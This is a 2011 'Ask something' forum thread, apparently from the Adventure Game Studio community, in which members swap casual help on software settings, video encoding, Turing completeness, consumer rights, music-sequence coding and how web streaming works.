I'm looking for this myth: There's a man cursed to find someone to give their live for him (or someone he loves I can't remember for sure) till the day ends. So he goes on that quest, at one point he reaches a blind man asking him to die, cause he's blind and old. But the blind man refuses as he may be blind and old but the birds singing in the morning and the sound of water make up for his age and blindness.

I could look it up, but some google searches failed. It used to be an animation as well, which i saw like 3-5 times on tv, when i was a child.

EDIT: FOUND IT
http://www.youtube.com/watch?v=oAJbOEEfHrE
Title: Re: Ask something - We can help.
Post by: Anian on Sat 18/06/2011 23:44:08
With what software are pixel art videos made? I mean "longer" pixel animations (as in videos not gif or similar), I know some music videos* were made this way for example, so what would a cartoon episode be made with? I know there's stuff like ToonBoom, but basically all those kinds of softwares use vector graphics.

*stuff like this (http://www.youtube.com/watch?v=MXIzyquw-kc)
Title: Re: Ask something - We can help.
Post by: LRH on Sun 19/06/2011 07:53:05
I've been looking allllll over tonight but I have had no luck whatsoever.

I'm looking to trade in my old laptop for a portable device. I want something *like* an ipod touch, but not an ipod touch. I just really can't stand them.

Honestly the most important things to me are local radio and streaming video ability from youtube/netflix/etc. The zune would be perfect...only it doesn't support streaming. I've been looking at all sorts of things. I suppose even a small android "tablet" would work, but I'm having trouble finding something affordable that supports radio and streaming.

Any suggestions?
Title: Re: Ask something - We can help.
Post by: nihilyst on Sun 26/06/2011 23:06:55
Does anyone of you have loominous' email address and could PM it to me? He hasn't been around for quite a while, and I need to reach him. Thanks :D
Title: Re: Ask something - We can help.
Post by: LimpingFish on Mon 27/06/2011 00:46:13
Quote from: Domithan on Sun 19/06/2011 07:53:05
Any suggestions?

I have an  Archos 7o Internet Tablet. (http://www.amazon.com/Archos-70-Internet-Tablet-Black/dp/B00422SH5C/ref=sr_1_5?ie=UTF8&qid=1309131826&sr=8-5)

Streams video just fine. Never tried radio on it, but Android has a shed-load of radio apps.
Title: Re: Ask something - We can help.
Post by: nihilyst on Sat 02/07/2011 00:01:36
Quote from: nihilyst on Sun 26/06/2011 23:06:55
Does anyone of you have loominous' email address and could PM it to me? He hasn't been around for quite a while, and I need to reach him. Thanks :D

No one? Or if anyone knows who _could_ have it, please let me know :D Thanks!
Title: Re: Ask something - We can help.
Post by: Mati256 on Sat 02/07/2011 00:06:37
Usually when you send a PM to somebody the forum sends a mail to inform him. You could try that.
Title: Re: Ask something - We can help.
Post by: nihilyst on Sat 02/07/2011 01:38:25
I have tried that, but maybe he has turned that option off. Thanks anyway :D
Title: Re: Ask something - We can help.
Post by: Peder 🚀 on Sat 02/07/2011 01:47:47
Sent you a PM nihilyst ;)
Title: Re: Ask something - We can help.
Post by: on Wed 06/07/2011 14:50:50
Just a quick one, I've had a blank - how do I re-assign a drive letter to a HD? One of mine has changed it to a different letter cos I pulled the sata cable out, and I can't for the life of me remember how to change it back to its original letter. That and I can't get any websites to work, so I've come here for help instead of Google. Thanks!!
Title: Re: Ask something - We can help.
Post by: Damien on Wed 06/07/2011 15:08:38
Right click on my computer > manage > disk management. Right click the partition you want and look for "Change drive letter..." or something like that.
Title: Re: Ask something - We can help.
Post by: on Wed 06/07/2011 15:31:43
Gracias Damien! :) Sorted.
Title: Re: Ask something - We can help.
Post by: NickyNyce on Wed 06/07/2011 17:11:58
Hello everyone,

            My motherboard just went kapoot, gone, dead, finished, I had a HP window vista, My game was 3/4 done. I have managed to transfer my game to my new computer, but now I downloaded 3.2.1 , I was previously using 3.1 , I'm hoping this is not a problem, anyone with any info they can give me about switching versions would be appreciated.

EDIT : Nevermind, found a place to compare versions
Title: Re: Ask something - We can help.
Post by: on Tue 12/07/2011 17:20:07
Quick q - any idea how to stop Outlook asking me if I want to compress emails to free up disk space every time I close Outlook? Surprisingly I don't need Outlook to compress what only amounts to 100kb of email data.
Title: Re: Ask something - We can help.
Post by: arj0n on Tue 12/07/2011 19:30:50
http://www.insideoe.com/faqs/why.htm#compact (//http://)
Title: Re: Ask something - We can help.
Post by: on Wed 13/07/2011 02:38:31
Quote from: Arj0n on Tue 12/07/2011 19:30:50
http://www.insideoe.com/faqs/why.htm#compact (//http://)

Thanks Arj0n! Shame it cannot be turned off.
Title: Re: Ask something - We can help.
Post by: Gilbert on Wed 13/07/2011 05:09:36
That feature is actually quite stupid.
M$ possibly never expected how many mails one can ever keep.
After few years the mail folders in my office computer had more than 10K messages, and that computer was already low on resources (<100MB free space most of the time).
The problem was, I shut down the computer when I left the office, and OE occasionally forced this to happen, which took forever. I didn't want to wait for it to end (which was actually impossible, coupling with the low on space problem the process would just crash at some point) and the system was so horribly stalled that clicking 'cancel' took a looooong time to take effect.

My system has been upgraded recently and I have to use Outlook instead now (with the mail folders imported). Hopefully it won't happen again.

Title: Re: Ask something - We can help.
Post by: on Wed 13/07/2011 05:31:54
Hehe, sounds annoying! And you know what Gilbert, I dreamt of you last night, LOL! God knows why. So I'd like to ask if anyone knows WHY I dreamt of Gilbert Cheung. :P
Title: Re: Ask something - We can help.
Post by: Gilbert on Wed 13/07/2011 08:55:19
As long as the dream wasn't wet I am okay. :=
Possibly this is something whose cause will remain mystery forever that nobody here is able to help.
Title: Re: Ask something - We can help.
Post by: on Thu 14/07/2011 14:27:13
I've made a little excel spreadsheet (http://www.mediafire.com/?9x57414ircbhyh4) which simulates a number-adding Turing Machine.

1 - Is this turing complete (http://en.wikipedia.org/wiki/Turing_complete)?
2 - If so, why is SQL92 (http://en.wikipedia.org/wiki/SQL-92) considered non turing complete (http://en.wikipedia.org/wiki/Turing_completeness#Examples)? What prevents me to easily rewrite the spreadsheet example in SQL92?
Title: Re: Ask something - We can help.
Post by: InCreator on Thu 14/07/2011 15:52:47
I fail to see any importance of this... is it school work of some kind?
Title: Re: Ask something - We can help.
Post by: on Thu 14/07/2011 16:20:28
Quote from: InCreator+ on Thu 14/07/2011 15:52:47
I fail to see any importance of this... is it school work of some kind?

InCreator: no, just sheer curiosity.
Title: Re: Ask something - We can help.
Post by: RetroJay on Mon 18/07/2011 22:51:34
Hi All.

I hope you can help.

I went today for an interview for a job and they said that they require a full British Birth Certificate.
I only have a small squar-ish one to which they said was unacceptable.

Can anyone tell me. Is this a new stupid Law that's been introduced or are they just being awkward.

Many thanks.
Jay.
Title: Re: Ask something - We can help.
Post by: monkey0506 on Mon 18/07/2011 23:33:21
Take it to Kinko's (not Kinoko's :P), and ask them to make you a poster print. :=

Actually the only copy of my "Born Abroad" U.S. Birth Certificate that I have apparently lost the "raised seal" some years ago, completely invalidating the thing. Sucks, but luckily we have other ways of identifying ourselves! :P
Title: Re: Ask something - We can help.
Post by: RetroJay on Tue 19/07/2011 00:05:49
Hi MonkE3y.

Unfortunately.
Here in, not so, Great Britain.
you aren't who you say you are until you provide about 4 or more documents and then some.

This being said. I am within the Security Industry.
But I have been with many companies and NEVER has my Birth Certificate, size, come in to question.

I have a full SIA license and could even go in to business for myself as a PI if I wanted to (Oh... how I do).

Jay.
Title: Re: Ask something - We can help.
Post by: Wyz on Tue 19/07/2011 13:33:57
@ bici
I took the liberty to convert your machine to a diagram.(http://s1.postimage.org/5oqmsleyf/bicimachine.png) (http://www.postimage.org/)
This is a machine but also a it executes a program. The program is defined by what (finite number of) states there are and what action each transition does. The machine itself is turing complete, the program is not. A program can only be turing complete if it's in fact simulating a turing machine. See where I'm going with this? :D

A machine is turing complete (hence a computer) if any program that can be executed on it can also be executed by a turing machine. This also works the other way around: any program that runs on a turing machine can be executed by any computer. We tend to call programming languages turing complete when it can be used to express any program that runs on a computer. The good old SQL can not do this, it lacks the possibility to control program flow and strictly speaking also arbitrary memory access. When it could jump to a different line in the SQL file when a certain query equals some result, then one could argue it is turing complete.

Actually any computer boils down to this:
Title: Re: Ask something - We can help.
Post by: Chicky on Tue 19/07/2011 14:06:29
Quote from: RetroJay on Mon 18/07/2011 22:51:34
I only have a small squar-ish one to which they said was unacceptable.

You can call your local council office and request a copy birth certificate, it costs £10 iirc and takes a few days to process. You should be able to take your small birth certificate with you to collect the larger copy.
Title: Re: Ask something - We can help.
Post by: on Tue 19/07/2011 14:07:41
Quote from: Wyz+ on Tue 19/07/2011 13:33:57
@ bici
I took the liberty to convert your machine to a diagram. [...]

Nice exposition, I can see it crystal clear now.
Thanks for having taken some of your time  to deliver this explanation!
Title: Re: Ask something - We can help.
Post by: Stupot on Tue 19/07/2011 14:25:07
Wikipedia is playing up for me.  The pages don't load properly.  They look like just basic HTML, like some of my early attempts at web design.  It looks like I'm somehow accessing the mobile versions of the pages, even though the URLs are correct.  Any idea of any browser (Chrome) settings that I could play with to fix this?

It only seems to be affecting Wiki. Havent come across it on any other sites.
Cheers


Turns out this was a simple 'clear cache' jobby.  I feel a tad stupid  :-\
Title: Re: Ask something - We can help.
Post by: nihilyst on Sat 23/07/2011 01:23:14
Does anyone of you happen to have I Have No Mouth And I Must Scream (the video game, not the book) and would sell it to me? I'd like to have it in it's original box, but wouldn't care if it looked used. Should be the uncut version (i.e. with the Nimdok chapter in it; here in Germany at least, they've taken it out). Payment via PayPal. Shipping to Germany. If anyone has it and is interested in selling it, drop me a PM. Thanks :D
Title: Re: Ask something - We can help.
Post by: Stupot on Sat 23/07/2011 16:52:00
I'm trying to remember the name of a film I watched about 10 minutes of before having to turn it off for being total crap.

It's about a couple of kids who have a house party, and the film begins on the morning after the party and one of their friends has died and the parents are due back later that day... so instead of reporting the death they... I have no idea what they do because I turned it off.

But believe me, hilarity does not ensue...

It might be called something like 'Spring Break' or 'House Party' but I think it's got the dead guy's name in it, like 'Bob's Dead!' or something like that...

Anyway, if anyone has seen this film, or know the title, let me know. Cheers :-)
Title: Re: Ask something - We can help.
Post by: Wyz on Sat 23/07/2011 20:06:26
Don't Tell Mom the Babysitter's Dead (http://www.imdb.com/title/tt0101757/)?
Title: Re: Ask something - We can help.
Post by: Stupot on Sat 23/07/2011 21:19:03
Haha, no, it's not that.  The one I'm thinking of is more of a stoner movie, and it's a guy who is dead.  In the opening scene it's a typical post-house-party scene with plastic cups all over the place and probably bong water spilt everywhere.
Title: Re: Ask something - We can help.
Post by: TomatoesInTheHead on Sat 23/07/2011 21:31:03
And it's not Weekend at Bernie's (http://www.imdb.com/title/tt0098627/) by any chance? Don't know anymore how that one began, I only know there was one dead guy named Bernie and some guys trying to hide the fact that he's dead for some reason.
Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Sat 23/07/2011 21:43:31
Definitely isn't be Weekend at Bernie's.
Are there any details you can share? Like are the kids mostly white? Is the boy that dies white? Etc. Also how did he die at the party.
Title: Re: Ask something - We can help.
Post by: Stupot on Sat 23/07/2011 22:25:14
Nah, not Bernies either.  There seemed to be two main guys... Pretty sure at least one of them was white but the other may or may not have been of an ethnic variety.  All I can remember is the first scene, these guys wake up, the house is a mess, their friend is dead and the guy who's house it is gets a phonecall from his parents saying they're coming back early from holiday and will be home soon.

I could be well off, but I want to say that the dead guy's name is Bob... it's either that, or it's some nickname like 'Breadknife', and I'm also haf tempted to suggest that the  dead guys name is in the title of the film.

I think it might be a fairly recent film, as it was on my sister's BT Vision package about 3 months ago... actually... I could look there for clues...
Title: Re: Ask something - We can help.
Post by: on Tue 26/07/2011 09:43:31
Just a quick one about direct debits for anyone in the UK who may have some idea.

3 years ago I entered a contract for mobile broadband. I signed in person the direct debit form.

When the contract ended, I tried to get a price reduction.

Everything went tits up, I didn't get the reduction - I got downgraded. So I called again & asked just to get whatever service I had been given originally - back.

To this date, I still haven't got it back even though I've been told I had. I was told today I was actually still on a different plan to the very first one I had.

I'm also told that since I tried to get the reduction and get my service re-instated, I've been put on a new contract.

I cannot leave it til October 2012.

At no point was I told I was entering a new contract, nor did I give any official verbal agreement and certainly no written agreement about the new contract.

So what are my rights here? Can I cancel the DD?

From my days as a researcher for an ISP I found that when you threaten a court case to an ISP they usually back off and do as you ask. Is that really the direction I'd need to go? (Which doesn't bother me, I know my case is far stronger than theirs) - but if anyone understands or has any ideas on whether I have the right to cancel my current contract as I did not willingly (or knowingly) enter it - please let me know. If anyone has cancelled a DD before a contract is out, what were the consequences for you? Thanks!

PS. It's t-mobile. AVOID
Title: Re: Ask something - We can help.
Post by: Bror_Jon on Tue 26/07/2011 10:13:31
@Mods: I do not have any experience with this i England, but whenever I get into trouble like this I threaten them.

In Sweden we have a agency called Consumer Agency (konsumentverket), I think your equivalent is called Consumer protection. So I threaten the company to file a complaint to this agency and this usally makes them comply with any of my demands. If they don't I just file the complaint and win. :D

Edit: I need to learn to read, since I for some reason totally missed what you wrote about threaten. But still, this isn't about going to court, just threatening about filing a complaint to a goverment agency.
Title: Re: Ask something - We can help.
Post by: Wonkyth on Tue 26/07/2011 14:04:28
Yeah, we've got something like that in Australia (the ACCC, I think?), and I have many friends who have managed to get companies scared shitless at the mention of their name, with instant compliance that is sometimes the end of many months of arguing.

A also have two friends who successfully sued their respective ISPs when they were 16, because they weren't getting what they signed up for.
Not sure if that's the whole of it, but it is something that would work, I'm sure.

EDIT: After looking a little at the UK system, I'd advise you to contact Consumer Direct (http://www.direct.gov.uk/en/Dl1/Directories/UsefulContactsByCategory/Governmentcitizensandrightscontacts/DG_195948).
Hope all goes well.  ;)
Title: Re: Ask something - We can help.
Post by: on Tue 26/07/2011 21:33:29
Thanks guys! That eases my mind. Consumer Direct it is then  ;D
Title: Re: Ask something - We can help.
Post by: Anian on Fri 05/08/2011 13:47:27
How many plants would it take so a human can live only on the production of oxygen of those plants or is there a way to calculate this?
For example a space station/ship (for lets say a crew of 20-50 people) with a green room full of plants, would that be able to sustain a human or two (if say the others died and you're left in that room cause every other part of the station was decompressed or something)?

Oh, yeah, does anybody have a Kindle (the amazon digital book reader) and if so what's their opinion on it?
Title: Re: Ask something - We can help.
Post by: Bror_Jon on Fri 05/08/2011 14:05:09
 Apperantly Google is my friend  ;)  (http://www.newton.dep.anl.gov/newton/askasci/1993/biology/bio027.htm)
Title: Re: Ask something - We can help.
Post by: Baron on Sun 07/08/2011 01:42:36
I'd disagree somewhat with the assumptions in Bror Jon's link.  It seems factually accurate -specific numeric figures add to the illusion -but personal experience dictates that a fundamental assumption has thrown off his calculations.  He states that the average human breathes 252L of air in an hour, and given his background numbers this seems roughly accurate.  He also states that 21% of air is oxygen -no arguing with that either.  But then he concludes that we need 53L of oxygen to survive in an hour (252L * 0.21 =53L), and this is plainly wrong.
      Consider the following: if you are trained in first-aid/CPR, they will at some point instruct you in assisted breathing -literally blowing the air from your lungs into a non-breathing victim's lungs.  This would clearly be a waste of time if you were using all 21% of the oxygen in the air for every breath.  A brief perusal of the internet suggests an absorbtion rate of somewhere between 1/5 and 1/3 of that for every normal breath.  This can reduce the number of plants you need by a factor of 3-5, depending. 
        Of course you would need permanent sunlight (or equivalent) to sustain full plant production all the time.  Since plants don't do photosynthesis in the dark, any down time would require a corresponding increase in the number of plants needed.
Title: Re: Ask something - We can help.
Post by: Bror_Jon on Sun 07/08/2011 04:15:45
Quote from: Baron on Sun 07/08/2011 01:42:36
...and this is plainly wrong.

Indeed. My bad.   :-[

I do though want to stress that the consumption of breathable air will be highly dependent on the physical state of the people on the space station and what they are doing.
Title: Re: Ask something - We can help.
Post by: LUniqueDan on Tue 09/08/2011 04:38:21
Can someone explain me the full rule about capital letters in english titles. I get use to just put Capitals everywhere then remove the small words, but I'm pretty sure I saw exceptions.

tx.

(Now I'll be able to flood forums 1!!1)
Title: Re: Ask something - We can help.
Post by: Gilbert on Tue 09/08/2011 05:00:44
I'm not quite sure whether there is a universal rule, but I think you may start here (http://en.wikipedia.org/wiki/Capitalization).
Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Thu 11/08/2011 18:25:43
Does anyone know of a super fast and efficient programming formula for finding out if a line is passing through a rectangle?
For instance, something traveling from point A to point B, will it intercept with the rectangle?
Title: Re: Ask something - We can help.
Post by: on Thu 11/08/2011 22:23:23
Quote from: Ryan Timothy on Thu 11/08/2011 18:25:43
Does anyone know of a super fast and efficient programming formula for finding out if a line is passing through a rectangle?
For instance, something traveling from point A to point B, will it intercept with the rectangle?

'Line' as in 'straight line', defined by slope/intercept? Or 'line' as in 'segment' (defined by two coordinates)?
Calculating the extremes of "intersecting slopes" (on the 4 corners of the rectangle) could do, but I'm not sure whether this is the most efficient solution (most probably it isn't with a segment).

edit: google agrees (http://www.google.it/search?oe=utf-8&rls=org.mozilla%3Ait%3Aofficial&client=firefox-a&hl=it&q=rectangle%20line%20intersection&spell=1&sa=X), even for segments
Title: Re: Ask something - We can help.
Post by: Kweepa on Thu 11/08/2011 23:36:48
The standard way is to clip the line to the rectangle, edge at a time, and see if there's anything left (check after each clip).
Title: Re: Ask something - We can help.
Post by: Atelier on Sat 13/08/2011 18:00:43
What is name of the place where owls live? Is it nest or roost? Or either?
Title: Re: Ask something - We can help.
Post by: NickyNyce on Sat 13/08/2011 18:42:27
In a nest, they are also known to sleep in hollowed out logs and trees, even barns.
Title: Re: Ask something - We can help.
Post by: Snarky on Tue 16/08/2011 23:31:17
What's a good way to convert a series of images to a video, and which codec/file format should I use so it looks good in AGS (320x240)?

I'm currently using Photoshop's "image sequence | export to video", but none of the AGS-compatible formats look any good.
Title: Re: Ask something - We can help.
Post by: Wyz on Wed 17/08/2011 00:14:57
I usually do that with virtualdub (http://www.virtualdub.org/): you can name the files like blabla0001.png, blabla0002.png, ... and it will open the first image as if it is a video.
As for the codec, well there are a lot of different ones out there, for every use I'd recommend a different one so what is it for?
If it is for an AGS game I'd go for ogv, in that case you need theora (http://www.v2v.cc/~j/ffmpeg2theora/).
The tool I linked is command line driven so you end up with something like this:

ffmpeg2theora.exe blabla%04d.png -o bla.ogv


If it looks shitty there are ways to encode in higher quality using -v.
Title: Re: Ask something - We can help.
Post by: Snarky on Wed 17/08/2011 08:16:04
Thanks Wyz. Once I figured out that "%04d" was a wildcard, that ffmpeg2theora worked. It doesn't seem to like my PNG files, though (colors go all wonky), but JPGs are fine (although it throws a ton of errors about "no JPEG data found in image").

VirtualDub only shows a short list of piss-poor codecs under "Compression". Do you know where I can get some better ones for MPEG-compression?
Title: Re: Ask something - We can help.
Post by: arj0n on Wed 17/08/2011 08:34:58
There's also a handy Frontend (GFrontend (ffmpeg2theora) v2007.2 Final) (http://download.freewarefiles.com/files/GF_ffmpeg2theora_final.exe) for the Converter (ffmpeg2theora-0.28) (http://v2v.cc/~j/ffmpeg2theora/download.html) Wyz mentioned.

Xvid codec: DL (http://www.xvid.org/Downloads.15.0.html)
More here (http://www.free-codecs.com/Video_Codecs.htm)
Title: Re: Ask something - We can help.
Post by: arj0n on Wed 17/08/2011 10:11:52
Somehow I always get a quick and serious headache from drinking apple juice (clear juice), grape juice, cassis (soda), and wine.
2 small nips of apple juice for example is enough for me to get a serious headache within a minute.
Headache is the only side effect when drinking such drinks.

Eating apples or grapes doesn't give me any problem, so it's clearly the drinks.
Maybe they add something to it my system can't stand?
But then, why only for these juices/drinks?


So, are there others around here who have the same problem?
Does anyone have any idea about this?

Seaching the internet didn't gave me any clues about this...
Title: Re: Ask something - We can help.
Post by: Tuomas on Wed 17/08/2011 10:55:29
Could be that when making juice, a lot of sugar is added. If your body doesn't like it, it might protest :P Dunno... useless post nr. 1.
Title: Re: Ask something - We can help.
Post by: Buckethead on Wed 17/08/2011 11:09:31
If I'm not mistaking they use some sort of filler up for most wines. I don't know what the stuff is called but it's know to cause headaches. Especially cheaper wines have this. I don't know about the other drinks, but they too give me slight headaches.
Title: Re: Ask something - We can help.
Post by: Nikolas on Wed 17/08/2011 11:14:18
I'd also bet it would be the sudden rush of sugar. Try this: Make some sugar water, with tons of water and drink it. If it brings headaches then you're done. If not then you might want to research a little further.

A (serious) problem of my own please.

________________________________________

I have a math problem, which needs coding, but can't solve it myself. tried in GWBasic (laugh all you want) and I can't get any further.

I'm looking to make an 'undefinite' (not really) strings of pitches/notes which have no repeated elements in them.

The way that music works is that the human mind can make the connection with previously heard pitches, or similar note connections. So if we assume that the 12 notes are numbered 1-12 then having 1-3-5 and then 6-8-10 would be faulty, because the intervals (space between the notes) is the same in every case.

So... *I think* that the following are the conditions:

1. Notes are numbered from 1-88 (from A0 to C8 or something).
2. I need to be able to define how many notes will be in the series I will get. (from 2 to however many is possible. It's not infinite actually. After a while you're forced to repeat a pattern and thus *BAM!*)
3. I cannot repeat the same note twice in a row (so the series cannot be 1-45-23-23-35-whatever).
4. The notes cannot move higher or lower than 11. (Since the octave is 12 semitones, thus 12 in an interval), you can't go 8-20 (since it's the same note an octave higher), or 22-10 (for the same reason,  but lower).
5. I need to be able to input the starting note (from 1 to 88).
6. What else do we need? The series must have a random effect, but it's not random by any means, with so many rules above... S

If someone is interested in building a code for me? I think that it can't be too difficult. I would be even interested in paying a small sum (30$ or something) to someone who does this for me... :-/

Perhaps there's more info to be needed, but I can't recall anything right now. We need to contact in PM, or MSN, or other...

Thanks
Title: Re: Ask something - We can help.
Post by: Snarky on Wed 17/08/2011 11:30:41
There are no chords, just single notes?

And how do you define the repetitions that are disallowed? Two sequences of at least three notes each with the same intervals in each sequence?

There's no way to have an indefinite sequence of notes that never repeats the same two intervals. Since after the first note there are only 22 possibilities for the second note, and 22 possibilities for the third note after each of those, there are only 22*22 = 484 different possibilities for the intervals in a sequence of three notes.

So before you've played 500 notes, there will have to be some repetition.

Edit: Guess I didn't read your condition 2 carefully enough. Seems like you're already aware of this. I would represent the notes as a sequence of intervals (since there are 22 possibilities, we can represent them by a string of letters [A-V]), and each time I want to generate a new one, I'd do 22 substring tests to check whether the last two intervals + each of the possibilities already exists in the string. Then I'd select one at random from the others, add it to the string, and repeat. If all were taken, I'd go back recursively and change the last note. (You might want to keep track of the blocked notes for each position as you go along, or the process will get really slow as you get close to the limit of the possible sequences.)
Title: Re: Ask something - We can help.
Post by: Nikolas on Wed 17/08/2011 11:52:29
Two sequences of TWO notes are a repetition. And yes it's not indifinite, I know that!

I think that the solution could be to have 22*22 (but that's impossible as well... Eventually you'll run into a dead end).

So I would be looking for anything that I can stop at any point and say "it's enough". This is for a part of a work, so it doesn't have to be complete. Plus with the right accents (so if you start a strong beat on 24-28-23 and later on you go to 28-23-something else... It might be tricky but the mind can't keep the pitch information for too long I think).

One of my problems in GWBasic and generally when coding is that I don't know how to 'keep track what's been done already'. So if you asked me to take on a phonebook and search for a name, I would go blindly until I found the name, or somehow go closer to the name little by little, but not crossing out names already done... (
Title: Re: Ask something - We can help.
Post by: arj0n on Wed 17/08/2011 11:57:41
Quote from: Nikolas on Wed 17/08/2011 11:14:18
I'd also bet it would be the sudden rush of sugar. Try this: Make some sugar water, with tons of water and drink it. If it brings headaches then you're done. If not then you might want to research a little further.
That's for sure not what causes the headache.

Quote from: Buckethead on Wed 17/08/2011 11:09:31
If I'm not mistaking they use some sort of filler up for most wines. I don't know what the stuff is called but it's know to cause headaches. Especially cheaper wines have this. I don't know about the other drinks, but they too give me slight headaches.
I've heard of that too and it might cause the trouble.
I think they add something to apple- and grape juices/drinks too.

Still got no clue what they add that causes the headache...
Title: Re: Ask something - We can help.
Post by: Wonkyth on Wed 17/08/2011 12:48:23
@Nikolas: From what little I know of Schoenberg's twelve-tone technique, I'm assuming this is somewhat related?
I'll have a go at it, just for fun.  :P

Edit: It appears my knowledge of surrealism was rather limited...  :)
Title: Re: Ask something - We can help.
Post by: Snarky on Wed 17/08/2011 13:13:04
Quote from: Nikolas on Wed 17/08/2011 11:52:29
Two sequences of TWO notes are a repetition. And yes it's not indifinite, I know that!

I think that the solution could be to have 22*22 (but that's impossible as well... Eventually you'll run into a dead end).

It's worse than that, mate. If you don't want any repetition of even one interval, your sequence can't be more than 23 notes long!
Title: Re: Ask something - We can help.
Post by: Nikolas on Wed 17/08/2011 15:24:11
Dang! Yes, sorry... I meant 2 intervals, not 2 notes. Obviously for 2 notes, you need 1 interval and thus you would end up at no. 12.

wonkyth: Yes and no... :-/

There is the twelve-tone technique, but it's hardly related.

Imagine this (if it can help): a huge orchestra is playing a series of notes. All with the same duration. And the listener cannot find a single motif to be repeated, a single idea to be repeated. Just a very long array of permutations of notes... That doesn't stop. Nothing to latch on. With no logic behind it, no musical logic, no other logic! (Only there is the logic to avoid repeated material at all cost).

That kind of thing... So it's actually the deconstruction of musical logic I'm interested in, rather than the other way! :)
Title: Re: Ask something - We can help.
Post by: Wonkyth on Wed 17/08/2011 15:36:50
Yeah, just after posting that I realised that it doesn't make sense in that context.
My knowledge of more complex musical theories is practically non-existent, and twelve-tone technique was the closest thing I've had any experience with.

However, I've now had the opportunity to look this stuff up, and since I didn't even know it was there, I thank you for introducing me to it.  :D

I've had a preliminary fiddle, using the info you've posted, and created a little console app which at the very least does something similar to what you described. It cut's one or two corners, I think, but it's kinda tricky to do a desk-check on it when I'm not entirely sure what the desired results are.  :P
Oh, and the max number of notes it'll output is limited to ~250 due to the maximum number of lines the console will display...  ;D

Shall I send you a copy of my attempt?
Title: Re: Ask something - We can help.
Post by: Snarky on Wed 17/08/2011 16:17:22
Quote from: Nikolas on Wed 17/08/2011 11:52:29
One of my problems in GWBasic and generally when coding is that I don't know how to 'keep track what's been done already'. So if you asked me to take on a phonebook and search for a name, I would go blindly until I found the name, or somehow go closer to the name little by little, but not crossing out names already done... (

There are generally four approaches off the top of my head. The first is to keep a list (or more generally, a data structure) of things you've done which you keep adding to (and checking against). The other is to keep a list (/ d.s.) of things left to do that you keep removing things from until it's empty. The third is to set a flag on each item to let you know whether it's done or not. The last and often most efficient one is to do things in some particular order, and just keep track of how far you've got in that order.

In your phone book example, the last approach is best. The book is ordered alphabetically, so we use a method called binary search. That pretty much means we open the book in the middle, and see whether the name you're looking for is before or after that page. Then we look in the middle of that half of the book, check whether it's before or after, and so on. We keep track of the beginning and end of the pages we are looking at (top and bottom indexes). So if the phone book is 500 pages, we know when we start that the name we're looking for is between page 1 and page 500. Then we look in the middle, and might find out that it's between page 250 and 500. Then we check in the middle of that, and see that it's between page 250 and 375. Then between 250 and 312, between 281 and 312, 281 - 296, 288 - 296, 292 - 296, 292 - 294, and finally, that it's on page 293. That's 500 pages searched in 9 steps.

You can keep the top and bottom indexes in two variables, which show how far you've got in your search so far.
Title: Re: Ask something - We can help.
Post by: Nikolas on Thu 25/08/2011 11:02:51
Thanks for replying above! :)

Another quick question, if I may.

I'm using Finale 2010 on a dual screen setup. Sadly the coders didn't not think make manual placement of sub-windows possible, so everytime I'm opening a new window/dialogue/etc it's in the middle of the setup, which is... the seperation of the two screens!

The software cannot fix that currently.

Is there a way to control it perhaps?

Here are two screenshots of the dual monitor setup: www.nikolas-sideris.com/AGS/finale1.jpg
www.nikolas-sideris.com/AGS/finale2.jpg (in full size both).

There is the ultramon, but anything else? Perhaps free?
Title: Re: Ask something - We can help.
Post by: on Mon 05/09/2011 14:13:37
Just need some general advice, using Hotmail with Firefox. It seems to come and go in waves, but right now I'm experiencing a problem whereby clicking any link in Hotmail, ie, inbox, delete or the messages does nothing. And this isn't the first time, in fact, it's probably beyond the 50th time since I started using Firefox years ago. Some times it does this, then in a few weeks time, I'll probably be able to click all those links with no problems.

Any ideas, would it be Java related? Just updated Firefox, it hasn't helped this situation. And the previous version was doing it. But BEFORE I went to Mittens it was working fine, so I just don't get it, can't figure out where the problem is originating from. Any other experiences of such or ideas for a fix appreciated :)
Title: Re: Ask something - We can help.
Post by: LRH on Fri 09/09/2011 19:24:05
My ignorance in the field of streaming things online has bothered me for ages but I've been too lazy to post about it. There's quite a lot I want to know, since I find it all very fascinating.

1.) When a video streams, what exactly is going on? Is the computer simply taking bits of information at a time and storing them temporarily as they play, or is it actually relying entirely on another computer and just acting as a medium in which to show you?

2.)Similar to the question above, how does...well, everything else work? As far as pictures and such... when you access a website with pictures and text, are the pictures and text temporarily saved to your computer while you view them? Or does the explorer simply show you pictures and text stored on another computer without the need to temporarily store them? Does this process vary depending on the file medium?

Sorry for packing so many questions into one post but my fundamental misunderstanding of how the internet works has been driving me crazy lately.
Title: Re: Ask something - We can help.
Post by: poc301 on Sun 11/09/2011 06:27:44
Quote from: Domithan on Fri 09/09/2011 19:24:05
My ignorance in the field of streaming things online has bothered me for ages but I've been too lazy to post about it. There's quite a lot I want to know, since I find it all very fascinating.

1.) When a video streams, what exactly is going on? Is the computer simply taking bits of information at a time and storing them temporarily as they play, or is it actually relying entirely on another computer and just acting as a medium in which to show you?

2.)Similar to the question above, how does...well, everything else work? As far as pictures and such... when you access a website with pictures and text, are the pictures and text temporarily saved to your computer while you view them? Or does the explorer simply show you pictures and text stored on another computer without the need to temporarily store them? Does this process vary depending on the file medium?

Sorry for packing so many questions into one post but my fundamental misunderstanding of how the internet works has been driving me crazy lately.

1)  The data is sent as usual, but in sequential order.  This means the software can interpret it as it comes in, and play it live.  It doesn't have to download the entire thing to use it.

2) Anything you load is saved to your "Temporary Internet Files", a folder on your computer.  The browser uses that to display the site you're looking at.  If there is no update since last time you visited, it just reads that data instead of retransferring it again.

So yeah, nothing is ever done in a web browser without being downloaded to your PC first.  Unless I am missing some new technology, but I don't think so :)

-Bill
Title: Re: Ask something - We can help.
Post by: Snarky on Sun 11/09/2011 13:41:23
Quote from: Domithan on Fri 09/09/2011 19:24:05
My ignorance in the field of streaming things online has bothered me for ages but I've been too lazy to post about it. There's quite a lot I want to know, since I find it all very fascinating.

1.) When a video streams, what exactly is going on? Is the computer simply taking bits of information at a time and storing them temporarily as they play, or is it actually relying entirely on another computer and just acting as a medium in which to show you?

2.)Similar to the question above, how does...well, everything else work? As far as pictures and such... when you access a website with pictures and text, are the pictures and text temporarily saved to your computer while you view them? Or does the explorer simply show you pictures and text stored on another computer without the need to temporarily store them? Does this process vary depending on the file medium?

Sorry for packing so many questions into one post but my fundamental misunderstanding of how the internet works has been driving me crazy lately.

